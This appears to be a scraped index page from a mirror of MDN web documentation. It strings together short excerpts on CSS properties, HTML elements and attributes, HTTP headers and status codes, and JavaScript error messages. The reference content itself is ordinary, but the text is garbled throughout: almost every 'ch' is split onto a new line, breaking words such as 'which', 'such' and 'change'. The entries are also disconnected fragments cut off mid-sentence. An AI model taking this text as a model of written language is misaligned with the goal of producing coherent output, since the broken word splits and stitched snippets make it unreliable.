...nsform-origin: left 5px -3px; /* x-offset-keyword | y-offset-keyword | z-offset */ transform-origin: right bottom 2cm; /* y-offset-keyword | x-offset-keyword | z-offset */ transform-origin: bottom right 2cm; /* global values */ transform-origin: inherit; transform-origin: initial; transform-origin: unset; the transform-origin property may be specified using one, two, or three values, where ea
ch value represents an offset.
... z-offset is a <length> (and never a <percentage> whi
ch would make the statement invalid) describing how far from the user eye the z=0 origin is set.
... the keywords are convenience shorthands and mat
ch the following <percentage> values: keyword value left 0% center 50% right 100% top 0% bottom 100% formal definition initial value50% 50% 0applies totransformable elementsinheritednopercentagesrefer to the size of bounding boxcomputed valuefor <length> the absolute value, otherwise a percentageanimation typesimple list of length, percentage, or calc formal syntax [ <length-percentage> | left | center | right | top | bottom ] | [ [ <length-percentage> | left | center | right ] && [ <length-percentage> | top | center | bottom ] ] <length>?where <length-percentage> = <length> | <percentage> examples code sample transform: none; ...
transition-property - CSS: Cascading Style Sheets
the transition-property css property sets the css properties to whi
ch a transition effect should be applied.
... note: the set of properties that can be animated is subject to
change.
... as su
ch, you should avoid including any properties in the list that don't currently animate, as someday they might, causing unexpected results.
... <custom-ident> a string identifying the property to whi
ch a transition effect should be applied when its value
changes.
transition - CSS: Cascading Style Sheets
y name | duration */ transition: margin-right 4s; /* property name | duration | delay */ transition: margin-right 4s 1s; /* property name | duration | timing function */ transition: margin-right 4s ease-in-out; /* property name | duration | timing function | delay */ transition: margin-right 4s ease-in-out 1s; /* apply to 2 properties */ transition: margin-right 4s, color 1s; /* apply to all
changed properties */ transition: all 0.5s ease-out; /* global values */ transition: inherit; transition: initial; transition: unset; the transition property is specified as one or more single-property transitions, separated by commas.
... ea
ch single-property transition describes the transition that should be applied to a single property (or the special values all and none).
... it includes: zero or one value representing the property to whi
ch the transition should apply.
... formal definition initial valueas ea
ch of the properties of the shorthand:transition-delay: 0stransition-duration: 0stransition-property: alltransition-timing-function: easeapplies toall elements, ::before and ::after pseudo-elementsinheritednocomputed valueas ea
ch of the properties of the shorthand:transition-delay: as specifiedtransition-duration: as specifiedtransition-property: as specifiedtransition-timing-function: as specifieda...
writing-mode - CSS: Cascading Style Sheets
the writing-mode css property sets whether lines of text are laid out horizontally or vertically, as well as the direction in whi
ch blocks progress.
... this property specifies the block flow direction, whi
ch is the direction in whi
ch block-level containers are stacked, and the direction in whi
ch inline-level content flows within a block container.
... formal definition initial valuehorizontal-tbapplies toall elements except table row groups, table column groups, table rows, and table columnsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax horizontal-tb | vertical-rl | vertical-lr | sideways-rl | sideways-lr examples using multiple writing modes this example demonstrates all of the writing modes, showing ea
ch with text in various languages.
... html the html is a <table> with ea
ch writing mode in a row with a column showing text in various scripts using that writing mode.
EXSLT
e are a number of modules; those that are supported by firefox are listed below: common (exsl)the exslt common package provides basic functions that expand upon the capabilities of xslt.math (math)the exslt math package provides functions for working with numeric values and comparing nodes.regular expressions (regexp)the exslt regular expressions package provides functions that allow testing, mat
ching, and replacing text using javascript style regular expressions.sets (set)the exslt sets package offers functions that let you perform set manipulation.strings (str)the exslt strings package provides functions that allow the manipulation of strings.
...for example, to use the regular expressions package: <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/xsl/transform" xmlns:regexp="http://exslt.org/regular-expressions"> <xsl:template mat
ch="/"> ...
... functions math:highest() math:lowest() math:max() math:min() regular expressions the exslt regular expressions package provides functions that allow testing, mat
ching, and replacing text using javascript style regular expressions.
... functions regexp:mat
ch() regexp:replace() regexp:test() sets the exslt sets package offers functions that let you perform set manipulation.
Guide to Web APIs - Developer guides
the web includes a wide array of apis that can be used from javascript to build increasingly more powerful and capable applications, running either on the web, locally, or through te
chnology su
ch as node.js, on a server.
... on this page you'll find a complete list of all of the apis provided by the full web te
chnology stack.
... web apis from a to z aambient light eventsbbackground tasksbattery api beaconbluetooth apibroadcast
channel apiccss counter stylescss font loading api cssomcanvas api
channel messaging apiconsole apicredential management apiddomeencoding apiencrypted media extensionsffet
ch apifile system api frame timing apifullscreen apiggamepad api geolocation apihhtml drag and drop apihigh resolution timehistory apiiimage capture apiindexeddbintersection observer apillong tasks api mmedia capabilities api media capture and streamsmedia session apimedia source extensions mediastream recordingnnavigation timingnetwork information api ppage visibility apipayment request apiperformance apiperformance timeline apipermissions apipointer eventspointer lock apiproximity events push api rresize obse...
...rver apiresource timing apisserver sent eventsservice workers apistoragestorage access apistreams ttou
ch eventsuurl apivvibration apivisual viewport wweb animationsweb audio apiweb authentication apiweb crypto apiweb notificationsweb storage apiweb workers apiwebglwebrtcwebvttwebxr device apiwebsockets api ...
Orientation and motion data explained - Developer guides
if you want to detect
changes in device orientation in order to compensate, you can use the orientation
change event.
... alpha rotation around the z axis -- that is, twisting the device -- causes the alpha rotation angle to
change: the alpha angle is 0° when top of the device is pointed directly toward the earth's north pole, and increases as the device is rotated toward the left.
... beta rotation around the x axis -- that is, tipping the device away from or toward the user -- causes the beta rotation angle to
change: the beta angle is 0° when the device's top and bottom are the same distance from the earth's surface; it increases toward 180° as the device is tipped forward toward the user, and it decreases toward -180° as the device is tipped backward away from the user.
... gamma rotation around the y axis -- that is, tilting the device toward the left or right -- causes the gamma rotation angle to
change: the gamma angle is 0° when the device's left and right sides are the same distance from the surface of the earth, and increases toward 90° as the device is tipped toward the right, and toward -90° as the device is tipped toward the left.
Introduction to Web development - Developer guides
note: the recommended resources on this page are subject to
change.
... html elements reference guide — a comprehensive guide to html elements with details on how browsers support them css getting started with css — an absolute beginners guide to css covers basic concepts and fundamentals css reference guide — a complete guide to css with details on the level of gecko/firefox support for ea
ch.
...
christian heilmann's javascript best practices — learn about some of the obvious and (not so) obvious best practices when writing javascript.
... sitepoint a reliable reference site for learning html, css and javascript whi
ch also mentions feature support across different browsers and known browser bugs.
HTML attribute: minlength - HTML: Hypertext Markup Language
the minlength attribute defines the minimum number of
characters (as utf-16 code units) the user can enter into an <input> or <textarea>.
...constraint validation is only applied when the value is
changed by the user.
... examples by adding minlength="5", the value must either be empty or five
characters or longer to be valid.
...the value will be valid as long as it is either null (empty) or five or more
characters long.
HTML attribute: step - HTML: Hypertext Markup Language
the value can must be a positive number - integer or float -- or the special value any, whi
ch means no stepping is implied, and any value is allowed (barring other constraints, su
ch as min and max).
...for 4.2 to be valid, step would have had to be set to any, 0.1, 0.2, or any the min value would have had to be a number ending in .2, su
ch as <input type="number" min="-5.2"> min impact on step the value of min and step define what are valid values, even if the step attribute is not included, as step defaults to 0.
...the number spinner, if present, will only show valid float values of 1.2 and greater note: when the data entered by the user doesn't adhere to the stepping configuration, the value is considered invalid in contraint validation and will mat
ch the :invalid and :out-of-range pseudoclasses see client-side validation and stepmismat
ch for more information.
...if providing instructions outside of labels, whi
ch allows more flexible positioning and design, consider using aria-labelledby or aria-describedby.
<address>: The Contact Address element - HTML: Hypertext Markup Language
the contact information provided by an <address> element's contents can take whatever form is appropriate for the context, and may include any type of contact information that is needed, su
ch as a physical address, url, email address, phone number, social media handle, geographic coordinates, and so forth.
... the <address> element should include the name of the person, people, or organization to whi
ch the contact information refers.
... <address> can be used in a variety of contexts, su
ch as providing a business's contact information in the page header, or indicating the author of an article by including an <address> element within the <article>.
... this element should not contain more information than the contact information, like a publication date (whi
ch belongs in a <time> element).
<basefont> - HTML: Hypertext Markup Language
the obsolete html base font element (<basefont>) sets a default font face, size, and color for the other elements whi
ch are descended from its parent element.
... you should not use this element; instead, you should use css properties su
ch as font, font-family, font-size, and color to
change the font configuration for an element and its contents.
...starting with html 4, html does not convey styling information anymore (outside the <style> element or the style attribute of ea
ch element).
... the former behavior of the <font> element can be a
chieved, and even better controlled using the css fonts properties.
<blockquote>: The Block Quotation element - HTML: Hypertext Markup Language
usually, this is rendered visually by indentation (see notes for how to
change it).
... usage notes to
change the indentation applied to the quoted text, use the css margin-left and/or margin-right properties, or the margin shorthand property.
...the connection topology is limited to a single point-to-point path for ea
ch carrier, used with standard carriers, but many carriers can be used without significant interference with ea
ch other, outside of early spring.
...the carriers have an intrinsic collision avoidance system, whi
ch increases availability.</p> </blockquote> the output from this html snippet looks like this: specifications specification status comment html living standardthe definition of '<blockquote>' in that specification.
<br>: The Line Break element - HTML: Hypertext Markup Language
as you can see from the above example, a <br> element is included at ea
ch point where we want the text to break.
...as su
ch, it has no dimensions or visual output of its own, and there is very little you can do to style it.
...evelyn avenue<br> mountain view, ca<br> 94041<br> usa<br> the result looks like so: accessibility concerns creating separate paragraphs of text using <br> is not only bad practice, it is problematic for people who navigate with the aid of screen reading te
chnology.
... te
chnical summary content categories flow content, phrasing content.
<dialog>: The Dialog element - HTML: Hypertext Markup Language
the html <dialog> element represents a dialog box or other interactive component, su
ch as a dismissable alert, inspector, or subwindow.
...when su
ch a form is submitted, the dialog closes with its returnvalue property set to the value of the button that was used to submit the form.
...for example, to dim unrea
chable content behind the modal dialog.
...ment.getelementbyid('confirmbtn'); // "update details" button opens the <dialog> modally updatebutton.addeventlistener('click', function onopen() { if (typeof favdialog.showmodal === "function") { favdialog.showmodal(); } else { alert("the <dialog> api is not supported by this browser"); } }); // "favorite animal" input sets the value of the submit button selectel.addeventlistener('
change', function onselect(e) { confirmbtn.value = selectel.value; }); // "confirm" button of form triggers "close" on dialog because of [method="dialog"] favdialog.addeventlistener('close', function onclose() { outputbox.value = favdialog.returnvalue + " button clicked - " + (new date()).tostring(); }); result specifications specification status comment html liv...
<div>: The Content Division element - HTML: Hypertext Markup Language
instead, you should use css properties or te
chniques su
ch as css grid or css flexbox to align and position <div> elements on the page.
... usage notes the <div> element should be used only when no other semantic element (su
ch as <article> or <nav>) is appropriate.
...su
ch as <p>, <table>.
... living standard no
changes since the latest snapshot html5the definition of '<div>' in that specification.
<element>: The Custom Element element (Obsolete) - HTML: Hypertext Markup Language
it was removed in favor of a javascript-driven approa
ch for creating new custom elements.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetelement deprecatednon-standard
chrome ?
...
chrome android ?
<fieldset>: The Field Set element - HTML: Hypertext Markup Language
it takes few attributes, the most notable of whi
ch are form, whi
ch can contain the id of a <form> on the same page, allowing you to make the <fieldset> part of that <form> even if it is not nested inside it, and disabled, whi
ch allows you to disable the <fieldset> and all its contents in one go.
...by default browsers display su
ch controls grayed out.
...(for example, display: inline behaves as block.) there will be an anonymous box holding the contents of the <fieldset>, whi
ch inherits certain properties from the <fieldset>.
... <form action="#"> <fieldset disabled> <legend>disabled fieldset</legend> <div> <label for="name">name: </label> <input type="text" id="name" value="
chris"> </div> <div> <label for="pwd">ar
chetype: </label> <input type="password" id="pwd" value="wookie"> </div> </fieldset> </form> te
chnical summary content categories flow content, sectioning root, listed, form-associated element, palpable content.
<figure>: The Figure with Optional Caption element - HTML: Hypertext Markup Language
the html <figure> (figure with optional caption) element represents self-contained content, potentially with an optional caption, whi
ch is specified using the (<figcaption>) element.
... a caption can be associated with the <figure> element by inserting a <figcaption> inside it (as the first or the last
child).
... navigator.useragent + "; "; console.log("navigatorexample", txt); } </pre> </figure> quotations <figure> <figcaption><cite>edsger dijkstra:</cite></figcaption> <blockquote>if debugging is the process of removing software bugs, then programming must be the process of putting them in.</blockquote> </figure> poems <figure> <p style="white-space:pre"> bid me discourse, i will en
chant thine ear, or like a fairy trip upon the green, or, like a nymph, with long dishevell'd hair, dance on the sands, and yet no footing seen: love is a spirit all compact of fire, not gross to sink, but light, and will aspire.</p> <figcaption><cite>venus and adonis</cite>, by william shakespeare</figcaption> </figure> specifications specification status comment ...
... recommendation no
changes from html 5.0.
<ins> - HTML: Hypertext Markup Language
cite this attribute defines the uri of a resource that explains the
change, su
ch as a link to meeting minutes or a ticket in a troubleshooting system.
... datetime this attribute indicates the time and date of the
change and must be a valid date with an optional time string.
... examples <ins>this text has been inserted</ins> result accessibility concerns the presence of the <ins> element is not announced by most screen reading te
chnology in its default configuration.
...because of this, it is important to not abuse this te
chnique and only apply it in situations where not knowing content has been inserted would adversely affect understanding.
<option>: The HTML Option element - HTML: Hypertext Markup Language
as su
ch, <option> can represent menu items in popups and other lists of items in an html document.
... permitted content text, possibly with escaped
characters (like é).
... disabled if this boolean attribute is set, this option is not
checkable.
... often browsers grey out su
ch control and it won't receive any browsing event, like mouse clicks or focus-related ones.
<output>: The Output element - HTML: Hypertext Markup Language
the html output element (<output>) is a container element into whi
ch a site or app can inject the results of a calculation or the outcome of a user action.
... examples in the following example, the form provides a slider whose value can range between 0 and 100, and an <input> element into whi
ch you can enter a second number.
... the two numbers are added together, and the result is displayed in the <output> element ea
ch time the value of any of the controls
changes.
...assistive te
chnology will thereby announce the results of ui interactions posted inside it without requiring that focus is swit
ched away from the controls that produce those results.
<progress>: The Progress Indicator element - HTML: Hypertext Markup Language
max this attribute describes how mu
ch work the task indicated by the progress element requires.
... value this attribute specifies how mu
ch of the task that has been completed.
... note: the :indeterminate pseudo-class can be used to mat
ch against indeterminate progress bars.
... to
change the progress bar to indeterminate after giving it a value you must remove the value attribute with element.removeattribute('value').
<spacer> - HTML: Hypertext Markup Language
<spacer> is an obsolete html element whi
ch allowed insertion of empty spaces on pages.
... it was devised by netscape to accomplish the same effect as a single-pixel layout image, whi
ch was something web designers used to use to add white spaces to web pages without actually using an image.
... however, <spacer> no longer supported by any major browser and the same effects can now be a
chieved using simple css.
... firefox, whi
ch is the descendant of netscape's browsers, removed support for <spacer> in version 4.
contextmenu - HTML: Hypertext Markup Language
a context menu is a menu that appears upon user interaction, su
ch as a right-click.
... </li> <li contextmenu="
changefont" id="fontsizing"> on this specific list element, you can
change the size of the text by using the "increase/decrease font" actions from your context menu </li> <menu type="context" id="
changefont"> <menuitem label="increase font" onclick="incfont()"></menuitem> <menuitem label="decrease font" onclick="decfont()"></menuitem> </menu> <li contextmenu="...
...
changeimage" id="
changeimage"> on the image below, you can fire the "
change image" action in your context menu.<br /> <img src="https://udn.realityripple.com/samples/a2/b601bdfc0c.png" contextmenu="
changeimage" id="promobutton" /> <menu type="context" id="
changeimage"> <menuitem label="
change image" onclick="
changeimage()"></menuitem> </menu> </li> </ol> </body> javascript function shareviatwitter() { window.open("https://twitter.com/intent/tweet?text=" + "hurray!
...xtmenu from mdn via mozilla"); } function shareviafacebook() { window.open("https://facebook.com/sharer/sharer.php?u=" + "https://developer.mozilla.org/en/html/element/using_html_context_menus"); } function incfont() { document.getelementbyid("fontsizing").style.fontsize = "larger"; } function decfont() { document.getelementbyid("fontsizing").style.fontsize = "smaller"; } function
changeimage() { var index = math.ceil(math.random() * 39 + 1); document.images[0].src = "https://developer.mozilla.org/media/img/promote/promobutton_mdn" + index + ".png"; } result specifications specification status comment html 5.1the definition of 'contextmenu' in that specification.
data-* - HTML: Hypertext Markup Language
the data-* global attributes form a class of attributes called custom data attributes, that allow proprietary information to be ex
changed between the html and its dom representation by scripts.
... all su
ch custom data are available via the htmlelement interface of the element the attribute is set on.
... living standard no
change from latest snapshot, html 5.1 html 5.1the definition of 'data-*' in that specification.
... recommendation snapshot of html living standard, no
change from html5 html5the definition of 'data-*' in that specification.
hidden - HTML: Hypertext Markup Language
hidden elements shouldn't be linked from non-hidden elements, and elements that are descendants of a hidden element are still active, whi
ch means that script elements can still execute and form elements can still submit.
...while hiding the descriptions implies that they are not useful on their own, they could be written in su
ch a way that they are useful in the specific context of being referenced from the element that they describe.
... note:
changing the value of the css display property on an element with the hidden attribute overrides the behavior.
... living standard no
change from latest snapshot, html 5.1 html living standardthe definition of 'hidden elements' in that specification.
inputmode - HTML: Hypertext Markup Language
sear
ch a virtual keyboard optimized for sear
ch input.
... for instance, the return/submit key may be labeled "sear
ch", along with possible other optimizations.
... inputs that require a sear
ch query should typically use <input type="sear
ch"> instead.
...typically includes the @
character as well as other optimizations.
Accept - HTTP
the accept request http header advertises whi
ch content types, expressed as mime types, the client is able to understand.
... using content negotiation, the server then selects one of the proposals, uses it and informs the client of its
choice with the content-type response header.
... browsers set adequate values for this header depending on the context where the request is done: when fet
ching a css stylesheet a different value is set for the request than when fet
ching an image, video or a script.
...image/* will mat
ch image/png, image/svg, image/gif and any other image types.
Access-Control-Allow-Headers - HTTP
the access-control-allow-headers response header is used in response to a preflight request whi
ch includes the access-control-request-headers to indicate whi
ch http headers can be used during the actual request.
... the preflight request is an options request whi
ch includes some combination of the three preflight request headers: access-control-request-method, access-control-request-headers, and origin, su
ch as: options /resource/foo access-control-request-method: delete access-control-request-headers: origin, x-requested-with origin: https://foo.bar.org response if the server allows cors requests to use the delete method, it responds with an access-cont...
...rol-allow-methods response header, whi
ch lists delete along with the other methods it supports: http/1.1 200 ok content-length: 0 connection: keep-alive access-control-allow-origin: https://foo.bar.org access-control-allow-methods: post, get, options, delete access-control-max-age: 86400 if the requested method isn't supported, the server will respond with an error.
... specifications specification status comment fet
chthe definition of 'access-control-allow-headers' in that specification.
Age - HTTP
the age header contains the time in seconds the object has been in a proxy ca
che.
...if it is age: 0, it was probably just fet
ched from the origin server; otherwise it is usually calculated as a difference between the proxy's current date and the date general header included in the http response.
... header type response header forbidden header name no syntax age: <delta-seconds> directives <delta-seconds> a non-negative integer, representing time in seconds the object has been in a proxy ca
che.
... examples age: 24 specifications specification title rfc 7234, section 5.1: age hypertext transfer protocol (http/1.1): ca
ching ...
Content-Language - HTTP
if you want to indicate whi
ch language the document is written in, use the lang attribute instead).
...ea
ch language tag is a sequence of one or more case-insensitive subtags, ea
ch separated by a hyphen
character ("-", %x2d).
... in most cases, a language tag consists of a primary language subtag that identifies a broad family of related languages (e.g., "en" = english), whi
ch is optionally followed by a series of subtags that refine or narrow that language's range (e.g., "en-ca" = the variety of english as communicated in canada).
... note: language tags are formaly defined in rfc 5646, whi
ch rely on the iso 639 standard (quite often the iso 639-1 code list) for language codes to be used.
CSP: plugin-types - HTTP
the http content-security-policy (csp) plugin-types directive restricts the set of plugins that can be embedded into a document by limiting the types of resources whi
ch can be loaded.
... instantiation of an <embed>, <object> or <applet> element will fail if: the element to load does not declare a valid mime type, the declared type does not mat
ch one of specified types in the plugin-types directive, the fet
ched resource does not mat
ch the declared type.
... examples disallowing plugins to disallow all plugins, the object-src directive should be set to 'none' whi
ch will disallow plugins.
... working draft no
changes.
Content-Type - HTTP
in requests, (su
ch as post or put), the client tells the server what type of data is actually sent.
... syntax content-type: text/html;
charset=utf-8 content-type: multipart/form-data; boundary=something directives media-type the mime type of the resource or the data.
...
charset the
character encoding standard.
... boundary for multipart entities the boundary directive is required, whi
ch consists of 1 to 70
characters from a set of
characters known to be very robust through email gateways, and not ending with white space.
Cross-Origin-Opener-Policy - HTTP
this allows you to have more control over references to a window than rel=noopener, whi
ch only affects outgoing navigations.
... same-origin-allow-popups retains references to newly opened windows or tabs whi
ch either don't set coop or whi
ch opt out of isolation by setting a coop of unsafe-none.
... cross-origin-opener-policy: same-origin cross-origin-embedder-policy: require-corp see also the cross-origin-embedder-policy header whi
ch you'll need to set as well.
... to
check if cross-origin isolation has been successful, you can test against the crossoriginisolated property available to window and worker contexts: if (crossoriginisolated) { // post sharedarraybuffer } else { // do something else } specifications specification html living standardthe definition of 'cross-origin-opener-policy header' in that specification.
DPR - HTTP
the dpr header is a client hints headers whi
ch represents the client device pixel ratio (dpr), whi
ch is the the number of physical device pixels corresponding to every css pixel.
...server has to opt in to receive dpr header from the client by sending accept-
ch and accept-
ch-lifetime response headers.
... syntax dpr: <number> examples server first needs to opt in to receive dpr header by sending the response headers accept-
ch containing dpr and accept-
ch-lifetime.
... accept-
ch: dpr accept-
ch-lifetime: 86400 then on subsequent requests the client might send dpr header back: dpr: 1.0 ...
Device-Memory - HTTP
the device-memory header is a device memory api header that works like client hints header whi
ch represents the approximate amount of ram client device has.
...server has to opt in to receive device-memory header from the client by sending accept-
ch and accept-
ch-lifetime response headers.
... device-memory: <number> examples server first needs to opt in to receive device-memory header by sending the response headers accept-
ch containing device-memory and accept-
ch-lifetime.
... accept-
ch: device-memory accept-
ch-lifetime: 86400 then on subsequent requests the client might send device-memory header back: device-memory: 1 specifications specification status comment device memory 1the definition of 'device-memory' in that specification.
Feature-Policy: geolocation - HTTP
when this policy is enabled, calls to getcurrentposition() and wat
chposition() will cause those functions' callbacks to be invoked with a positionerror code of permission_denied.
... by default, the geolocation api can be used within top-level documents and their same-origin
child frames.
... features are ea
ch defined to have a default allowlist, whi
ch is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes).
...wants to disable geolocation for all cross-origin
child frames, except for a specific <iframe>.
Forwarded - HTTP
this header is used for debugging, statistics, and generating location-dependent content and by design it exposes privacy sensitive information, su
ch as the ip address of the client.
...this can be either: an ip address (v4 or v6, optionally with a port, and ipv6 quoted and enclosed in square brackets), an obfuscated identifier (su
ch as "_hidden" or "_secret"), or "unknown" when the preceding entity is not known (and you still want to indicate that forwarding of the request was made).
... for=<identifier> the client that initiated the request and subsequent proxies in a
chain of proxies.
... proto=<http|https> indicates whi
ch protocol was used to make the request (typically "http" or "https").
Keep-Alive - HTTP
connection-specific header fields su
ch as connection and keep-alive are prohibited in http/2.
...
chrome and firefox ignore them in http/2 responses, but safari conforms to the http/2 spec requirements and won’t load any response whi
ch contains them.
... header type general header forbidden header name yes syntax keep-alive: parameters directives parameters a comma-separated list of parameters, ea
ch consisting of an identifier and a value separated by the equal sign ('=').
... examples a response containing a keep-alive header: http/1.1 200 ok connection: keep-alive content-encoding: gzip content-type: text/html;
charset=utf-8 date: thu, 11 aug 2016 15:23:13 gmt keep-alive: timeout=5, max=1000 last-modified: mon, 25 jul 2016 04:32:39 gmt server: apa
che (body) specifications specification title http keep-alive header keep-alive header (ietf internet draft) rfc 7230, appendix a.1.2: keep-alive hypertext transfer protocol (http/1.1): message syntax and routing ...
Retry-After - HTTP
when sent with a redirect response, su
ch as 301 (moved permanently), this indicates the minimum time that the user agent is asked to wait before issuing the redirected request.
... header type response header forbidden header name no syntax retry-after: <http-date> retry-after: <delay-seconds> directives <http-date> a date after whi
ch to retry.
... examples dealing with s
cheduled downtime support for the retry-after header on both clients and servers is still inconsistent.
...it is useful to send it along with a 503 (service unavailable) response, so that sear
ch engines will keep indexing your site when the downtime is over.
X-XSS-Protection - HTTP
the http x-xss-protection response header is a feature of internet explorer,
chrome and safari that stops pages from loading when they detect reflected cross-site scripting (xss) attacks.
...
chrome has removed their xss auditor firefox have not, and will not implement x-xss-protection edge have retired their xss filter this means that if you do not need to support legacy browsers, it is recommended that you use content-security-policy without allowing unsafe-inline scripts instead.
... 1; report=<reporting-uri> (
chromium only) enables xss filtering.
... example block pages from loading when they detect reflected xss attacks: x-xss-protection: 1; mode=block php header("x-xss-protection: 1; mode=block"); apa
che (.htaccess) <ifmodule mod_headers.c> header set x-xss-protection "1; mode=block" </ifmodule> nginx add_header "x-xss-protection" "1; mode=block"; specifications not part of any specifications or drafts.
HEAD - HTTP
for example, if a url might produce a large download, a head request could read its content-length header to
check the filesize without actually downloading the file.
...if it has one anyway, that body must be ignored: any entity headers that might describe the erroneous body are instead assumed to describe the response whi
ch a similar get request would have received.
... if the response to a head request shows that a ca
ched url response is now outdated, the ca
ched copy is invalidated even if no get request was made.
... request has body no successful response has body no safe yes idempotent yes ca
cheable yes allowed in html forms no syntax head /index.html specifications specification title rfc 7231, section 4.3.2: head hypertext transfer protocol (http/1.1): semantics and content ...
204 No Content - HTTP
a 204 response is ca
cheable by default.
... an etag header is included in su
ch a response.
... the common use case is to return 204 as a result of a put request, updating a resource, without
changing the current content of the page displayed to the user.
...if the page should be
changed to the newly updated page, the 200 should be used instead.
302 Found - HTTP
a browser redirects to this page but sear
ch engines don't update their links to the resource (in 'seo-speak', it is said that the 'link-juice' is not sent to the new url).
...it is therefore recommended to set the 302 code only as a response for get or head methods and to use 307 temporary redirect instead, as the method
change is explicitly prohibited in that case.
... in the cases where you want the method used to be
changed to get, use 303 see other instead.
... this is useful when you want to give a response to a put method that is not the uploaded resource but a confirmation message su
ch as: 'you successfully uploaded xyz'.
304 Not Modified - HTTP
it is an implicit redirection to a ca
ched resource.
... this happens when the request method is safe, like a get or a head request, or when the request is conditional and uses a if-none-mat
ch or a if-modified-since header.
... the equivalent 200 ok response would have included the headers ca
che-control, content-location, date, etag, expires, and vary.
... many developer tools' network panels of browsers create extraneous requests leading to 304 responses, so that access to the local ca
che is visible to developers.
406 Not Acceptable - HTTP
the hypertext transfer protocol (http) 406 not acceptable client error response code indicates that the server cannot produce a response mat
ching the list of acceptable values defined in the request's proactive content negotiation headers, and that the server is unwilling to supply a default representation.
... proactive content negotiation headers include: accept accept-
charset accept-encoding accept-language in practice, this error is very rarely used.
... instead of responding using this error code, whi
ch would be cryptic for the end user and difficult to fix, servers ignore the relevant header and serve an actual page to the user.
... if a server returns su
ch an error status, the body of the message should contain the list of the available representations of the resources, allowing the user to
choose among them.
412 Precondition Failed - HTTP
this happens with conditional requests on methods other than get or head when the condition defined by the if-unmodified-since or if-none-mat
ch headers is not fulfilled.
... status 412 precondition failed examples etag: "33a64df551425fcc55e4d42a148795d9f25f89d4" etag: w/"0815" avoiding mid-air collisions with the help of the etag and the if-mat
ch headers, you can detect mid-air edit collisions.
... for example, when editing mdn, the current wiki content is hashed and put into an etag in the response: etag: "33a64df551425fcc55e4d42a148795d9f25f89d4" when saving
changes to a wiki page (posting data), the post request will contain the if-mat
ch header containing the etag values to
check freshness against.
... if-mat
ch: "33a64df551425fcc55e4d42a148795d9f25f89d4" if the hashes don't mat
ch, it means that the document has been edited in-between and a 412 precondition failed error is thrown.
CSS Houdini
advantages of houdini houdini enables faster parse times than using javascript .style for style
changes.
...every element and style sheet rule has a style map whi
ch is accessible via its stylepropertymap.
... <script> css.paintworklet.addmodule('csscomponent.js'); </script> this added module contains registerpaint() functions, whi
ch register completely configurable worklets.
... worklets reference other topics related topics whi
ch may be of interest, since they can be used in tandem with houdini apis in interesting ways.
Keyed collections - JavaScript
« previousnext » this
chapter introduces collections of data whi
ch are indexed by a key; map and set objects contain elements whi
ch are iterable in the order of insertion.
...you can use a for...of loop to return an array of [key, value] for ea
ch iteration.
... use maps if there is a need to store primitive values as keys because object treats ea
ch key as a string whether it's a number value, boolean value or any other primitive value.
... weakmap object the weakmap object is a collection of key/value pairs in whi
ch the keys are objects only and the values can be arbitrary values.
Public class fields - JavaScript
as su
ch, unlike their private counterparts, they participate in prototype inheritance.
...this is useful for ca
ches, fixed-configuration, or any other data you don't need to be replicated across instances.
... class classwithstaticfield { static staticfield } console.assert(classwithstaticfield.hasownproperty('staticfield')) console.log(classwithstaticfield.staticfield) // expected output: "undefined" public static fields are not reinitialized on subclasses, but can be accessed via the prototype
chain.
...these are often utility functions, su
ch as functions to create or clone objects.
TypeError: can't assign to property "x" on "y": not an object - JavaScript
the javascript strict mode exception "can't assign to property" occurs when attempting to create a property on primitive value su
ch as a symbol, a string, a number or a boolean.
... message typeerror: can't assign to property "x" on {y}: not an object (firefox) typeerror: cannot create property 'x' on {y} (
chrome) error type typeerror.
... in strict_mode, a typeerror is raised when attempting to create a property on primitive value su
ch as a symbol, a string, a number or a boolean.
...foo.bar = {}; // typeerror: can't assign to property "bar" on "my string": not an object fixing the issue either fix the code to prevent the primitive from being used in su
ch places, or fix the issue is to create the object equivalent object.
TypeError: can't access dead object - JavaScript
to avoid these issues, references to dom nodes in foreign document should instead be stored in an object whi
ch is specific to that document, and cleaned up when the document is unloaded, or stored as weak references.
... examples
checking if an object is dead components.utils offers a isdeadwrapper() method, whi
ch privileged code might use.
... if (components.utils.isdeadwrapper(window)) { // dead } unprivileged code has no access to component.utils and might just be able cat
ch the exception.
... try { string(window); } cat
ch (e) { console.log("window is likely dead"); } ...
TypeError: invalid assignment to const "x" - JavaScript
(
chrome) typeerror: assignment to const (edge) typeerror: redeclaration of const 'x' (ie) error type typeerror what went wrong?
...it cannot
change through re-assignment, and it can't be redeclared.
...
check what was intended to be a
chieved with the constant in question.
... let columns = 120; scoping
check if you are in the correct scope.
SyntaxError: JSON.parse: bad parsing - JavaScript
message syntaxerror: json.parse: unterminated string literal syntaxerror: json.parse: bad control
character in string literal syntaxerror: json.parse: bad
character in string literal syntaxerror: json.parse: bad unicode escape syntaxerror: json.parse: bad escape
character syntaxerror: json.parse: unterminated string syntaxerror: json.parse: no number after minus sign syntaxerror: json.parse: unexpected non-digit syntaxerror: json.parse: missing digits after decimal point syntaxerror: json.parse: unterminated fractional number syntaxerror: json.parse: missing digits after exponent indicator syntaxerror: json.parse: missing digits after exponent sign syntaxerror: json.parse: exponent part is miss...
...ing a number syntaxerror: json.parse: unexpected end of data syntaxerror: json.parse: unexpected keyword syntaxerror: json.parse: unexpected
character syntaxerror: json.parse: end of data while reading object contents syntaxerror: json.parse: expected property name or '}' syntaxerror: json.parse: end of data when ',' or ']' was expected syntaxerror: json.parse: expected ',' or ']' after array element syntaxerror: json.parse: end of data when property name was expected syntaxerror: json.parse: expected double-quoted property name syntaxerror: json.parse: end of data after property name when ':' was expected syntaxerror: json.parse: expected ':' after property name in object syntaxerror: json.parse: end of data after property value in object syntaxerror: json.parse: expected ',' or '}' after p...
...roperty value in object syntaxerror: json.parse: expected ',' or '}' after property-value pair in object literal syntaxerror: json.parse: property names must be double-quoted strings syntaxerror: json.parse: expected property name or '}' syntaxerror: json.parse: unexpected
character syntaxerror: json.parse: unexpected non-whitespace
character after json data syntaxerror: json.parse error: invalid
character at position {0} (edge) error type syntaxerror what went wrong?
... examples json.parse() does not allow trailing commas both lines will throw a syntaxerror: json.parse('[1, 2, 3, 4,]'); json.parse('{"foo": 1,}'); // syntaxerror json.parse: unexpected
